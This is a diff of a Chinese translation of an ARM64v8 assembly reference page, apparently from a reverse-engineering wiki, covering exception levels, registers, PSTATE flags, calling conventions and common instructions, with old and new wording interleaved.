* 这是最低特权级别,用于执行常规应用程序代码。
|
||||
* 在EL0上运行的应用程序彼此之间以及与系统软件隔离,增强安全性和稳定性。
|
||||
* 这是特权最低的级别,用于执行常规应用程序代码。
|
||||
* 在 EL0 运行的应用程序相互隔离,并与系统软件隔离,从而增强安全性和稳定性。
|
||||
2. **EL1 - 操作系统内核模式**:
|
||||
* 大多数操作系统内核在此级别运行。
|
||||
* EL1比EL0具有更多特权,并且可以访问系统资源,但受一些限制以确保系统完整性。
|
||||
3. **EL2 - 虚拟化模式**:
|
||||
* 此级别用于虚拟化。在EL2上运行的虚拟机监视程序可以管理在同一物理硬件上运行的多个操作系统(每个操作系统在其自己的EL1中)。
|
||||
* EL2提供了隔离和控制虚拟化环境的功能。
|
||||
4. **EL3 - 安全监视器模式**:
|
||||
* 这是最高特权级别,通常用于安全引导和可信执行环境。
|
||||
* EL3可以管理和控制安全和非安全状态之间的访问(例如安全引导、可信操作系统等)。
|
||||
* EL1 的特权高于 EL0,可以访问系统资源,但有一些限制以确保系统完整性。
|
||||
3. **EL2 - 虚拟机监控器模式**:
|
||||
* 此级别用于虚拟化。运行在 EL2 的虚拟机监控器可以管理多个操作系统(每个操作系统在自己的 EL1 中)在同一物理硬件上运行。
|
||||
* EL2 提供了隔离和控制虚拟化环境的功能。
|
||||
4. **EL3 - 安全监控模式**:
|
||||
* 这是特权最高的级别,通常用于安全启动和受信执行环境。
|
||||
* EL3 可以管理和控制安全状态与非安全状态之间的访问(例如安全启动、受信操作系统等)。
|
||||
|
||||
使用这些级别可以以结构化和安全的方式管理系统的不同方面,从用户应用程序到最高特权系统软件。ARMv8对特权级别的处理有助于有效隔离不同的系统组件,从而增强系统的安全性和稳健性。
|
||||
使用这些级别可以以结构化和安全的方式管理系统的不同方面,从用户应用程序到最特权的系统软件。ARMv8 对特权级别的处理有助于有效隔离不同的系统组件,从而增强系统的安全性和稳健性。
|
||||
|
||||
## **寄存器(ARM64v8)**
|
||||
## **寄存器 (ARM64v8)**
|
||||
|
||||
ARM64有**31个通用寄存器**,标记为`x0`到`x30`。每个寄存器可以存储一个**64位**(8字节)值。对于需要仅使用32位值的操作,可以使用名称w0到w30以32位模式访问相同的寄存器。
|
||||
ARM64 有 **31 个通用寄存器**,标记为 `x0` 到 `x30`。每个寄存器可以存储一个 **64 位**(8 字节)值。对于只需要 32 位值的操作,可以使用 w0 到 w30 的名称以 32 位模式访问相同的寄存器。
|
||||
|
||||
1. **`x0`**到**`x7`** - 这些通常用作临时寄存器和用于向子例程传递参数。
|
||||
* **`x0`**还携带函数的返回数据
|
||||
2. **`x8`** - 在Linux内核中,`x8`用作`svc`指令的系统调用号。**在macOS中使用x16!**
|
||||
3. **`x9`**到**`x15`** - 更多临时寄存器,通常用于局部变量。
|
||||
4. **`x16`**和**`x17`** - **函数内调用寄存器**。用于立即值的临时寄存器。它们还用于间接函数调用和PLT(过程链接表)存根。
|
||||
* **`x16`**在**macOS**中用作**`svc`**指令的**系统调用号**。
|
||||
5. **`x18`** - **平台寄存器**。它可以用作通用寄存器,但在某些平台上,此寄存器保留用于特定于平台的用途:在Windows中用作当前线程环境块的指针,或者在Linux内核中用作指向当前**执行任务结构**的指针。
|
||||
6. **`x19`**到**`x28`** - 这些是被调用者保存的寄存器。函数必须保留这些寄存器的值供调用者使用,因此它们存储在堆栈中,并在返回给调用者之前恢复。
|
||||
7. **`x29`** - **帧指针**,用于跟踪堆栈帧。当因为调用函数而创建新的堆栈帧时,**`x29`**寄存器被**存储在堆栈中**,并且新的帧指针地址(**`sp`**地址)被**存储在此寄存器中**。
|
||||
* 尽管通常用作**局部变量的参考**,但此寄存器也可以用作**通用寄存器**。
|
||||
8. **`x30`**或**`lr`**- **链接寄存器**。在执行`BL`(带链接的分支)或`BLR`(带链接到寄存器的分支)指令时,通过将**`pc`**值存储在此寄存器中来保存**返回地址**。
|
||||
1. **`x0`** 到 **`x7`** - 这些通常用作临时寄存器和传递参数给子例程。
|
||||
* **`x0`** 还携带函数的返回数据。
|
||||
2. **`x8`** - 在 Linux 内核中,`x8` 用作 `svc` 指令的系统调用号。**在 macOS 中使用的是 x16!**
|
||||
3. **`x9`** 到 **`x15`** - 更多的临时寄存器,通常用于局部变量。
|
||||
4. **`x16`** 和 **`x17`** - **过程内调用寄存器**。用于立即值的临时寄存器。它们也用于间接函数调用和 PLT(过程链接表)存根。
|
||||
* **`x16`** 在 **macOS** 中用作 **`svc`** 指令的 **系统调用号**。
|
||||
5. **`x18`** - **平台寄存器**。可以用作通用寄存器,但在某些平台上,此寄存器保留用于平台特定用途:在 Windows 中指向当前线程环境块,或指向当前 **执行任务结构在 Linux 内核**。
|
||||
6. **`x19`** 到 **`x28`** - 这些是被调用者保存的寄存器。函数必须为其调用者保留这些寄存器的值,因此它们存储在堆栈中,并在返回调用者之前恢复。
|
||||
7. **`x29`** - **帧指针**,用于跟踪堆栈帧。当由于调用函数而创建新的堆栈帧时,**`x29`** 寄存器会 **存储在堆栈中**,并且 **新的** 帧指针地址(**`sp`** 地址)会 **存储在此寄存器中**。
|
||||
* 此寄存器也可以用作 **通用寄存器**,尽管通常用作对 **局部变量** 的引用。
|
||||
8. **`x30`** 或 **`lr`** - **链接寄存器**。它在执行 `BL`(带链接的分支)或 `BLR`(带链接到寄存器的分支)指令时保存 **返回地址**,通过将 **`pc`** 值存储在此寄存器中。
|
||||
* 它也可以像其他寄存器一样使用。
|
||||
* 如果当前函数将调用新函数并因此覆盖`lr`,它将在开始时将其存储在堆栈中,这是尾声(`stp x29, x30 , [sp, #-48]; mov x29, sp` -> 存储`fp`和`lr`,生成空间并获取新的`fp`),并在结束时恢复它,这是序言(`ldp x29, x30, [sp], #48; ret` -> 恢复`fp`和`lr`并返回)。
|
||||
9. **`sp`** - **堆栈指针**,用于跟踪堆栈顶部。
|
||||
* **`sp`**值应始终保持至少**四字对齐**,否则可能会发生对齐异常。
|
||||
10. **`pc`** - **程序计数器**,指向下一条指令。此寄存器只能通过异常生成、异常返回和分支更新。唯一可以读取此寄存器的普通指令是带链接的分支指令(BL、BLR)以将**`pc`**地址存储在**`lr`**(链接寄存器)中。
|
||||
11. **`xzr`** - **零寄存器**。在其**32**位寄存器形式中也称为**`wzr`**。可用于轻松获取零值(常见操作)或使用**`subs`**执行比较,例如**`subs XZR, Xn, #10`**将结果数据存储在任何地方(在**`xzr`**中)。
|
||||
* 如果当前函数将调用新函数并因此覆盖 `lr`,它将在开始时将其存储在堆栈中,这是尾声(`stp x29, x30 , [sp, #-48]; mov x29, sp` -> 存储 `fp` 和 `lr`,生成空间并获取新 `fp`)并在结束时恢复,这是序言(`ldp x29, x30, [sp], #48; ret` -> 恢复 `fp` 和 `lr` 并返回)。
|
||||
9. **`sp`** - **堆栈指针**,用于跟踪堆栈的顶部。
|
||||
* **`sp`** 值应始终保持至少为 **四字** **对齐**,否则可能会发生对齐异常。
|
||||
10. **`pc`** - **程序计数器**,指向下一条指令。此寄存器只能通过异常生成、异常返回和分支进行更新。唯一可以读取此寄存器的普通指令是带链接的分支指令(BL,BLR),以将 **`pc`** 地址存储在 **`lr`**(链接寄存器)中。
|
||||
11. **`xzr`** - **零寄存器**。在其 **32** 位寄存器形式中也称为 **`wzr`**。可以用来轻松获取零值(常见操作)或使用 **`subs`** 进行比较,如 **`subs XZR, Xn, #10`**,将结果数据存储在无处(在 **`xzr`** 中)。
|
||||
|
||||
**`Wn`**寄存器是**`Xn`**寄存器的**32位**版本。
|
||||
**`Wn`** 寄存器是 **`Xn`** 寄存器的 **32 位** 版本。
|
||||
|
||||
### SIMD和浮点寄存器
|
||||
### SIMD 和浮点寄存器
|
||||
|
||||
此外,还有另外 **32 个 128 位长度的寄存器**,可用于优化的单指令多数据(SIMD)操作和执行浮点运算。这些被称为 Vn 寄存器,尽管它们也可以以 **64** 位、**32** 位、**16** 位和 **8** 位操作,然后称为 **`Qn`**、**`Dn`**、**`Sn`**、**`Hn`** 和 **`Bn`**。
|
||||
|
||||
此外,还有另外**32个长度为128位的寄存器**,可用于优化的单指令多数据(SIMD)操作和执行浮点运算。这些称为Vn寄存器,尽管它们也可以以**64**位、**32**位、**16**位和**8**位运行,然后称为**`Qn`**、**`Dn`**、**`Sn`**、**`Hn`**和**`Bn`**。
|
||||
### 系统寄存器
|
||||
|
||||
**有数百个系统寄存器**,也称为特殊目的寄存器(SPRs),用于**监视**和**控制** **处理器**的行为。\
|
||||
它们只能使用专用的特殊指令**`mrs`**和**`msr`**来读取或设置。
|
||||
**有数百个系统寄存器**,也称为特殊用途寄存器(SPRs),用于 **监控** 和 **控制** **处理器** 行为。\
|
||||
它们只能通过专用特殊指令 **`mrs`** 和 **`msr`** 进行读取或设置。
|
||||
|
||||
特殊寄存器**`TPIDR_EL0`**和**`TPIDDR_EL0`**在逆向工程中经常出现。`EL0`后缀表示可以访问寄存器的**最小异常**(在这种情况下,EL0是常规程序运行的异常(特权)级别)。\
|
||||
它们通常用于存储内存中**线程本地存储**区域的基址。通常第一个对于在EL0中运行的程序是可读写的,但第二个可以从EL0中读取并从EL1中写入(如内核)。
|
||||
特殊寄存器 **`TPIDR_EL0`** 和 **`TPIDDR_EL0`** 在逆向工程中常见。`EL0` 后缀表示可以访问寄存器的 **最小异常**(在这种情况下,EL0 是常规程序运行的常规异常(特权)级别)。\
|
||||
它们通常用于存储 **线程局部存储** 内存区域的 **基地址**。通常,第一个寄存器对在 EL0 中运行的程序可读可写,但第二个寄存器可以从 EL0 读取并从 EL1 写入(如内核)。
|
||||
|
||||
* `mrs x0, TPIDR_EL0 ; 将 TPIDR_EL0 读入 x0`
|
||||
* `mrs x0, TPIDR_EL0 ; 将 TPIDR_EL0 读取到 x0`
|
||||
* `msr TPIDR_EL0, X0 ; 将 x0 写入 TPIDR_EL0`
|
||||
|
||||
### **PSTATE**
|
||||
|
||||
**PSTATE** 包含几个进程组件序列化到操作系统可见的**`SPSR_ELx`**特殊寄存器中,其中 X 是**触发的**异常的**权限** **级别**(这允许在异常结束时恢复进程状态)。\
|
||||
**PSTATE** 包含多个进程组件,序列化到操作系统可见的 **`SPSR_ELx`** 特殊寄存器中,X 是触发异常的 **权限** **级别**(这允许在异常结束时恢复进程状态)。\
|
||||
这些是可访问的字段:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1196).png" alt=""><figcaption></figcaption></figure>
|
||||
|
@ -82,175 +83,175 @@ ARM64有**31个通用寄存器**,标记为`x0`到`x30`。每个寄存器可以
|
|||
* **`N`**、**`Z`**、**`C`** 和 **`V`** 条件标志:
|
||||
* **`N`** 表示操作产生了负结果
|
||||
* **`Z`** 表示操作产生了零
|
||||
* **`C`** 表示操作进行了进位
|
||||
* **`C`** 表示操作产生了进位
|
||||
* **`V`** 表示操作产生了有符号溢出:
|
||||
* 两个正数相加得到负结果。
|
||||
* 两个负数相加得到正结果。
|
||||
* 在减法中,当从较小的正数中减去较大的负数(或反之亦然),并且结果无法表示在给定位大小的范围内时。
|
||||
* 显然,处理器不知道操作是有符号的还是无符号的,因此它将在操作中检查 C 和 V,并指示是否发生了进位。
|
||||
* 两个正数的和产生负结果。
|
||||
* 两个负数的和产生正结果。
|
||||
* 在减法中,当从较小的正数中减去较大的负数(或反之),且结果无法在给定位大小的范围内表示时。
|
||||
* 显然,处理器不知道操作是有符号的还是无符号的,因此它将在操作中检查 C 和 V,并在发生进位时指示是否为有符号或无符号。
|
||||
|
||||
{% hint style="warning" %}
|
||||
并非所有指令都会更新这些标志。一些像**`CMP`**或**`TST`**的指令会更新,而带有 s 后缀的其他指令像**`ADDS`**也会更新。
|
||||
并非所有指令都会更新这些标志。一些指令如 **`CMP`** 或 **`TST`** 会更新,还有一些带有 s 后缀的指令如 **`ADDS`** 也会更新。
|
||||
{% endhint %}
|
||||
|
||||
* 当前的**寄存器宽度(`nRW`)**标志:如果标志的值为 0,则程序在恢复后将在 AArch64 执行状态下运行。
|
||||
* 当前的**异常级别**(**`EL`**):在 EL0 中运行的常规程序将具有值 0
|
||||
* **单步执行**标志(**`SS`**):调试器使用单步执行标志设置 **`SPSR_ELx`** 中的 SS 标志为 1。程序将运行一步并发出单步执行异常。
|
||||
* **非法异常**状态标志(**`IL`**):用于标记特权软件执行无效的异常级别转移时,此标志设置为 1,处理器触发非法状态异常。
|
||||
* **`DAIF`** 标志:这些标志允许特权程序有选择地屏蔽某些外部异常。
|
||||
* 如果 **`A`** 为 1,则将触发**异步中止**。**`I`** 配置以响应外部硬件**中断请求**(IRQs)。而 F 与**快速中断请求**(FIRs)有关。
|
||||
* **堆栈指针选择**标志(**`SPS`**):在 EL1 及以上运行的特权程序可以在使用自己的堆栈指针寄存器和用户模型之间切换(例如在 `SP_EL1` 和 `EL0` 之间)。这种切换是通过写入**`SPSel`**特殊寄存器来执行的。无法从 EL0 中执行此操作。
|
||||
* 当前 **寄存器宽度 (`nRW`) 标志**:如果标志的值为 0,则程序在恢复后将以 AArch64 执行状态运行。
|
||||
* 当前 **异常级别** (**`EL`**):在 EL0 中运行的常规程序将具有值 0。
|
||||
* **单步执行** 标志 (**`SS`**):由调试器使用,通过在异常中将 SS 标志设置为 1 来单步执行。程序将执行一步并发出单步异常。
|
||||
* **非法异常** 状态标志 (**`IL`**):用于标记特权软件执行无效异常级别转移时,此标志设置为 1,处理器触发非法状态异常。
|
||||
* **`DAIF`** 标志:这些标志允许特权程序选择性地屏蔽某些外部异常。
|
||||
* 如果 **`A`** 为 1,则表示将触发 **异步中止**。**`I`** 配置为响应外部硬件 **中断请求**(IRQ)。F 与 **快速中断请求**(FIR)相关。
|
||||
* **堆栈指针选择** 标志 (**`SPS`**):在 EL1 及以上运行的特权程序可以在使用自己的堆栈指针寄存器和用户模型之间切换(例如,在 `SP_EL1` 和 `EL0` 之间)。此切换通过写入 **`SPSel`** 特殊寄存器执行。此操作无法从 EL0 完成。
|
||||
|
||||
## **调用约定(ARM64v8)**
|
||||
## **调用约定 (ARM64v8)**
|
||||
|
||||
ARM64 调用约定指定函数的**前八个参数**通过寄存器**`x0` 到 `x7`**传递。**额外**参数通过**堆栈**传递。**返回**值通过寄存器**`x0`**返回,如果其长度为 128 位,则也可以返回到**`x1`**。必须在函数调用之间保留**`x19`**到**`x30`**和**`sp`**寄存器。
|
||||
ARM64 调用约定规定,**前八个参数**通过寄存器 **`x0` 到 `x7`** 传递。**额外**参数通过 **堆栈** 传递。**返回**值通过寄存器 **`x0`** 返回,或者在 **`x1`** 中返回 **如果其长度为 128 位**。**`x19`** 到 **`x30`** 和 **`sp`** 寄存器必须在函数调用之间 **保留**。
|
||||
|
||||
在汇编中阅读函数时,查找**函数序言和尾声**。**序言**通常涉及**保存帧指针(`x29`)**,**设置**新的**帧指针**和**分配堆栈空间**。**尾声**通常涉及**恢复保存的帧指针**和**从函数返回**。
|
||||
在阅读汇编中的函数时,查找 **函数序言和尾声**。**序言** 通常涉及 **保存帧指针 (`x29`)**、**设置** 新的 **帧指针** 和 **分配堆栈空间**。**尾声** 通常涉及 **恢复保存的帧指针** 和 **从函数返回**。
|
||||
|
||||
### Swift 中的调用约定
|
||||
|
||||
Swift 有其自己的**调用约定**,可以在[**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)中找到。
|
||||
Swift 有其自己的 **调用约定**,可以在 [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) 中找到。
|
||||
|
||||
## **常见指令(ARM64v8)**
|
||||
## **常见指令 (ARM64v8)**
|
||||
|
||||
ARM64 指令通常具有**格式 `opcode dst, src1, src2`**,其中**`opcode`**是要执行的**操作**(如 `add`、`sub`、`mov` 等),**`dst`**是将结果存储的**目标**寄存器,**`src1`** 和 **`src2`** 是**源**寄存器。也可以使用立即值代替源寄存器。
|
||||
ARM64 指令通常具有 **格式 `opcode dst, src1, src2`**,其中 **`opcode`** 是要执行的 **操作**(如 `add`、`sub`、`mov` 等),**`dst`** 是将存储结果的 **目标** 寄存器,**`src1`** 和 **`src2`** 是 **源** 寄存器。立即数值也可以替代源寄存器使用。
|
||||
|
||||
* **`mov`**:将一个值从一个**寄存器**移动到另一个寄存器。
|
||||
* 示例:`mov x0, x1` — 这将从 `x1` 移动的值到 `x0`。
|
||||
* **`ldr`**:将**内存**中的值加载到**寄存器**中。
|
||||
* 示例:`ldr x0, [x1]` — 这将从 `x1` 指向的内存位置加载的值到 `x0`。
|
||||
* **偏移模式**:指示影响原始指针的偏移量,例如:
|
||||
* `ldr x2, [x1, #8]`,这将在 x1 + 8 中加载 x2 的值
|
||||
* `ldr x2, [x0, x1, lsl #2]`,这将在 x0 数组中的位置 x1(索引)\* 4 中加载 x2 的对象
|
||||
* **预索引模式**:这将对原始进行计算,获取结果并将新原始存储在原始中。
|
||||
* `ldr x2, [x1, #8]!`,这将在 `x1 + 8` 中加载 `x2` 并将 `x1 + 8` 的结果存储在 `x1` 中
|
||||
* `str lr, [sp, #-4]!`,将链接寄存器存储在 sp 中并更新寄存器 sp
|
||||
* **后索引模式**:与前一个类似,但首先访问内存地址,然后计算并存储偏移量。
|
||||
* `ldr x0, [x1], #8`,加载 `x1` 到 `x0` 并将 x1 更新为 `x1 + 8`
|
||||
* **相对于 PC 的寻址**:在这种情况下,相对于 PC 寄存器计算要加载的地址
|
||||
* `ldr x1, =_start`,这将加载 `_start` 符号开始的地址到 x1,与当前 PC 相关。
|
||||
* **`str`**:将**寄存器**中的值存储到**内存**中。
|
||||
* 示例:`str x0, [x1]` — 这将 `x0` 中的值存储到 `x1` 指向的内存位置。
|
||||
* **`ldp`**:**加载一对寄存器**。此指令从**连续内存**位置加载两个寄存器。内存地址通常是通过将偏移量添加到另一个寄存器中形成的。
|
||||
* 示例:`ldp x0, x1, [x2]` — 这从 `x2` 和 `x2 + 8` 的内存位置分别加载 `x0` 和 `x1`。
|
||||
* **`stp`**:**存储一对寄存器**。此指令将两个寄存器存储到**连续内存**位置。内存地址通常是通过将偏移量添加到另一个寄存器中形成的。
|
||||
* **`mov`**:**移动**一个值从一个 **寄存器** 到另一个。
|
||||
* 示例:`mov x0, x1` — 这将值从 `x1` 移动到 `x0`。
|
||||
* **`ldr`**:**加载**一个值从 **内存** 到 **寄存器**。
|
||||
* 示例:`ldr x0, [x1]` — 这将从 `x1` 指向的内存位置加载一个值到 `x0`。
|
||||
* **偏移模式**:指示影响原始指针的偏移,例如:
|
||||
* `ldr x2, [x1, #8]`,这将加载 `x1 + 8` 的值到 `x2`。
|
||||
* `ldr x2, [x0, x1, lsl #2]`,这将从数组 `x0` 中加载一个对象,从位置 `x1`(索引)\* 4 到 `x2`。
|
||||
* **预索引模式**:这将对原始值应用计算,获取结果并将新原始值存储在原始值中。
|
||||
* `ldr x2, [x1, #8]!`,这将加载 `x1 + 8` 到 `x2` 并将结果存储在 `x1` 中。
|
||||
* `str lr, [sp, #-4]!`,将链接寄存器存储在 sp 中并更新寄存器 sp。
|
||||
* **后索引模式**:这类似于前一个,但内存地址被访问,然后计算并存储偏移。
|
||||
* `ldr x0, [x1], #8`,加载 `x1` 到 `x0` 并用 `x1 + 8` 更新 `x1`。
|
||||
* **PC 相对寻址**:在这种情况下,加载的地址相对于 PC 寄存器计算。
|
||||
* `ldr x1, =_start`,这将加载 `_start` 符号开始的地址到 `x1`,与当前 PC 相关。
|
||||
* **`str`**:**存储**一个值从 **寄存器** 到 **内存**。
|
||||
* 示例:`str x0, [x1]` — 这将值存储在 `x0` 中到 `x1` 指向的内存位置。
|
||||
* **`ldp`**:**加载寄存器对**。此指令 **从连续内存** 位置 **加载两个寄存器**。内存地址通常通过将偏移添加到另一个寄存器的值来形成。
|
||||
* 示例:`ldp x0, x1, [x2]` — 这将从 `x2` 和 `x2 + 8` 的内存位置加载 `x0` 和 `x1`。
|
||||
* **`stp`**:**存储寄存器对**。此指令 **将两个寄存器存储到** 连续内存位置。内存地址通常通过将偏移添加到另一个寄存器的值来形成。
|
||||
* 示例:`stp x0, x1, [sp]` — 这将 `x0` 和 `x1` 存储到 `sp` 和 `sp + 8` 的内存位置。
|
||||
* `stp x0, x1, [sp, #16]!` — 这将 `x0` 和 `x1` 存储到 `sp+16` 和 `sp + 24` 的内存位置,并将 `sp` 更新为 `sp+16`。
|
||||
* **`add`**:将两个寄存器的值相加并将结果存储在一个寄存器中。
|
||||
* `stp x0, x1, [sp, #16]!` — 这将 `x0` 和 `x1` 存储到 `sp+16` 和 `sp + 24` 的内存位置,并用 `sp+16` 更新 `sp`。
|
||||
* **`add`**:**将**两个寄存器的值相加并将结果存储在一个寄存器中。
|
||||
* 语法:add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
|
||||
* Xn1 -> 目的地
|
||||
* Xn2 -> 操作数1
|
||||
* Xn3 | #imm -> 操作数2(寄存器或立即数)
|
||||
* \[shift #N | RRX] -> 执行移位或调用RRX
|
||||
* 示例:`add x0, x1, x2` — 这将把`x1`和`x2`的值相加,并将结果存储在`x0`中。
|
||||
* `add x5, x5, #1, lsl #12` — 这等于 4096(1左移12位) -> 1 0000 0000 0000 0000
|
||||
* **`adds`** 这执行一个`add`并更新标志位
|
||||
* **`sub`**:从两个寄存器中减去值并将结果存储在一个寄存器中。
|
||||
* 检查**`add`**的**语法**。
|
||||
* 示例:`sub x0, x1, x2` — 这从`x1`中减去`x2`的值,并将结果存储在`x0`中。
|
||||
* **`subs`** 这类似于sub但会更新标志位
|
||||
* **`mul`**:将**两个寄存器**的值相乘并将结果存储在一个寄存器中。
|
||||
* 示例:`mul x0, x1, x2` — 这将`x1`和`x2`的值相乘,并将结果存储在`x0`中。
|
||||
* **`div`**:将一个寄存器的值除以另一个寄存器的值,并将结果存储在一个寄存器中。
|
||||
* 示例:`div x0, x1, x2` — 这将`x1`的值除以`x2`的值,并将结果存储在`x0`中。
|
||||
* **`lsl`**、**`lsr`**、**`asr`**、**`ror`**、**`rrx`**:
|
||||
* **逻辑左移**:从末尾添加0,将其他位向前移动(乘以n次2)
|
||||
* **逻辑右移**:在开始添加1,将其他位向后移动(在无符号情况下除以n次2)
|
||||
* **算术右移**:类似于**`lsr`**,但如果最高有效位是1,则添加1(在有符号情况下除以n次2)
|
||||
* **右旋转**:类似于**`lsr`**,但从右侧移除的内容会添加到左侧
|
||||
* **带扩展的右旋转**:类似于**`ror`**,但将进位标志作为“最高有效位”。因此,将进位标志移动到第31位,将移除的位移动到进位标志。
|
||||
* **`bfm`**:**位字段移动**,这些操作将从一个值中复制位`0...n`并将其放置在位置`m..m+n`。**`#s`**指定最左边的位位置,**`#r`**指定向右旋转的数量。
|
||||
* 位字段移动:`BFM Xd, Xn, #r`
|
||||
* 有符号位字段移动:`SBFM Xd, Xn, #r, #s`
|
||||
* 无符号位字段移动:`UBFM Xd, Xn, #r, #s`
|
||||
* **位字段提取和插入**:从一个寄存器中复制位字段并将其复制到另一个寄存器中。
|
||||
* **`BFI X1, X2, #3, #4`** 从X2的第3位插入4位到X1
|
||||
* **`BFXIL X1, X2, #3, #4`** 从X2的第3位提取四位并将其复制到X1
|
||||
* **`SBFIZ X1, X2, #3, #4`** 从X2中扩展4位并从第3位开始将其插入X1,将右侧位清零
|
||||
* **`SBFX X1, X2, #3, #4`** 从X2的第3位开始提取4位,进行符号扩展,并将结果放入X1
|
||||
* **`UBFIZ X1, X2, #3, #4`** 从X2中扩展4位并从第3位开始将其插入X1,将右侧位清零
|
||||
* **`UBFX X1, X2, #3, #4`** 从X2的第3位开始提取4位,并将零扩展的结果放入X1。
|
||||
* **符号扩展至X**:扩展值的符号(或在无符号版本中仅添加0)以便执行操作:
|
||||
* **`SXTB X1, W2`** 从W2扩展一个字节的符号到X1(`W2`是`X2`的一半)以填充64位
|
||||
* **`SXTH X1, W2`** 从W2扩展一个16位数的符号到X1以填充64位
|
||||
* **`SXTW X1, W2`** 从W2扩展一个字节的符号到X1以填充64位
|
||||
* **`UXTB X1, W2`** 添加0(无符号)到从W2到X1的一个字节以填充64位
|
||||
* **`extr`**:从指定的**连接的一对寄存器**中提取位。
|
||||
* 示例:`EXTR W3, W2, W1, #3` 这将**连接W1+W2**并从W2的第3位到W1的第3位获取并将其存储在W3中。
|
||||
* **`cmp`**:比较两个寄存器并设置条件标志。它是`subs`的别名,将目标寄存器设置为零寄存器。用于判断`m == n`。
|
||||
* 支持与`subs`相同的语法
|
||||
* 示例:`cmp x0, x1` — 这比较`x0`和`x1`的值,并相应地设置条件标志。
|
||||
* **`cmn`**:**比较负数**操作数。在这种情况下,它是`adds`的别名并支持相同的语法。用于判断`m == -n`。
|
||||
* **`ccmp`**:条件比较,仅在先前的比较为真时执行比较,并特别设置nzcv位。
|
||||
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> 如果x1 != x2且x3 < x4,则跳转到func
|
||||
* 这是因为**`ccmp`**仅在**先前的`cmp`为`NE`时执行**,如果不是,则位`nzcv`将设置为0(不满足`blt`比较)。
|
||||
* 这也可以用作`ccmn`(与`cmp`相同,但是负数,类似于`cmp`与`cmn`)。
|
||||
* **`tst`**:检查比较的值是否都为1(类似于ANDS,不会将结果存储在任何地方)。用于检查一个寄存器与一个值,并检查值中指定的寄存器的任何位是否为1。
|
||||
* 示例:`tst X1, #7` 检查X1的最后3位中是否有任何位为1
|
||||
* **`teq`**:执行异或操作并丢弃结果
|
||||
* **`b`**:无条件跳转
|
||||
* 示例:`b myFunction`
|
||||
* 请注意,这不会将链接寄存器填充为返回地址(不适用于需要返回的子程序调用)
|
||||
* **`bl`**:带链接的跳转,用于**调用**子程序。将返回地址存储在`x30`中。
|
||||
* 示例:`bl myFunction` — 这调用函数`myFunction`并将返回地址存储在`x30`中。
|
||||
* 请注意,这不会将链接寄存器填充为返回地址(不适用于需要返回的子程序调用)
|
||||
* **`blr`**:带链接到寄存器的跳转,用于**调用**寄存器中指定的**目标**的**子程序**。将返回地址存储在`x30`中。
|
||||
* 示例:`blr x1` — 这调用地址包含在`x1`中的函数,并将返回地址存储在`x30`中。
|
||||
* **`ret`**:从**子程序**返回,通常使用**`x30`**中的地址。
|
||||
* 示例:`ret` — 这使用`x30`中的返回地址从当前子程序返回。
|
||||
* **`b.<cond>`**:条件跳转
|
||||
* **`b.eq`**:**如果相等则跳转**,基于先前的`cmp`指令。
|
||||
* 示例:`b.eq label` — 如果先前的`cmp`指令找到两个相等的值,则跳转到`label`。
|
||||
* **`b.ne`**: **Branch if Not Equal**. 这条指令检查条件标志(由先前的比较指令设置),如果比较的值不相等,则跳转到一个标签或地址。
|
||||
* 示例:在`cmp x0, x1`指令之后,`b.ne label` — 如果`x0`和`x1`中的值不相等,则跳转到`label`。
|
||||
* **`cbz`**: **比较并在零时跳转**。这条指令将一个寄存器与零进行比较,如果它们相等,则跳转到一个标签或地址。
|
||||
* 示例:`cbz x0, label` — 如果`x0`中的值为零,则跳转到`label`。
|
||||
* **`cbnz`**: **比较并在非零时跳转**。这条指令将一个寄存器与零进行比较,如果它们不相等,则跳转到一个标签或地址。
|
||||
* 示例:`cbnz x0, label` — 如果`x0`中的值为非零,则跳转到`label`。
|
||||
* **`tbnz`**: 测试位并在非零时跳转
|
||||
* 示例:`tbnz x0, #8, label`
|
||||
* **`tbz`**: 测试位并在零时跳转
|
||||
* 示例:`tbz x0, #8, label`
|
||||
* **条件选择操作**:这些是根据条件位变化行为的操作。
|
||||
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> 如果为真,X0 = X1,如果为假,X0 = X2
|
||||
* `csinc Xd, Xn, Xm, cond` -> 如果为真,Xd = Xn,如果为假,Xd = Xm + 1
|
||||
* `cinc Xd, Xn, cond` -> 如果为真,Xd = Xn + 1,如果为假,Xd = Xn
|
||||
* `csinv Xd, Xn, Xm, cond` -> 如果为真,Xd = Xn,如果为假,Xd = NOT(Xm)
|
||||
* `cinv Xd, Xn, cond` -> 如果为真,Xd = NOT(Xn),如果为假,Xd = Xn
|
||||
* `csneg Xd, Xn, Xm, cond` -> 如果为真,Xd = Xn,如果为假,Xd = - Xm
|
||||
* `cneg Xd, Xn, cond` -> 如果为真,Xd = - Xn,如果为假,Xd = Xn
|
||||
* `cset Xd, Xn, Xm, cond` -> 如果为真,Xd = 1,如果为假,Xd = 0
|
||||
* `csetm Xd, Xn, Xm, cond` -> 如果为真,Xd = \<all 1>,如果为假,Xd = 0
|
||||
* **`adrp`**: 计算一个符号的**页地址**并将其存储在一个寄存器中。
|
||||
* 示例:`adrp x0, symbol` — 这计算`symbol`的页地址并将其存储在`x0`中。
|
||||
* **`ldrsw`**: 从内存中**加载**一个带符号的**32位**值并将其**符号扩展为64位**。
|
||||
* 示例:`ldrsw x0, [x1]` — 这从由`x1`指向的内存位置加载一个带符号的32位值,将其符号扩展为64位,并将其存储在`x0`中。
|
||||
* **`stur`**: 将一个寄存器值**存储到内存位置**,使用另一个寄存器的偏移量。
|
||||
* 示例:`stur x0, [x1, #4]` — 这将`x0`中的值存储到比`x1`当前地址大4个字节的内存地址中。
|
||||
* **`svc`**:进行一个**系统调用**。它代表"Supervisor Call"。当处理器执行这条指令时,它会**从用户模式切换到内核模式**,并跳转到内存中内核的系统调用处理代码所在的特定位置。
|
||||
* Xn1 -> 目标
|
||||
* Xn2 -> 操作数 1
|
||||
* Xn3 | #imm -> 操作数 2(寄存器或立即数)
|
||||
* \[shift #N | RRX] -> 执行移位或调用 RRX
|
||||
* 示例:`add x0, x1, x2` — 这将 `x1` 和 `x2` 中的值相加并将结果存储在 `x0` 中。
|
||||
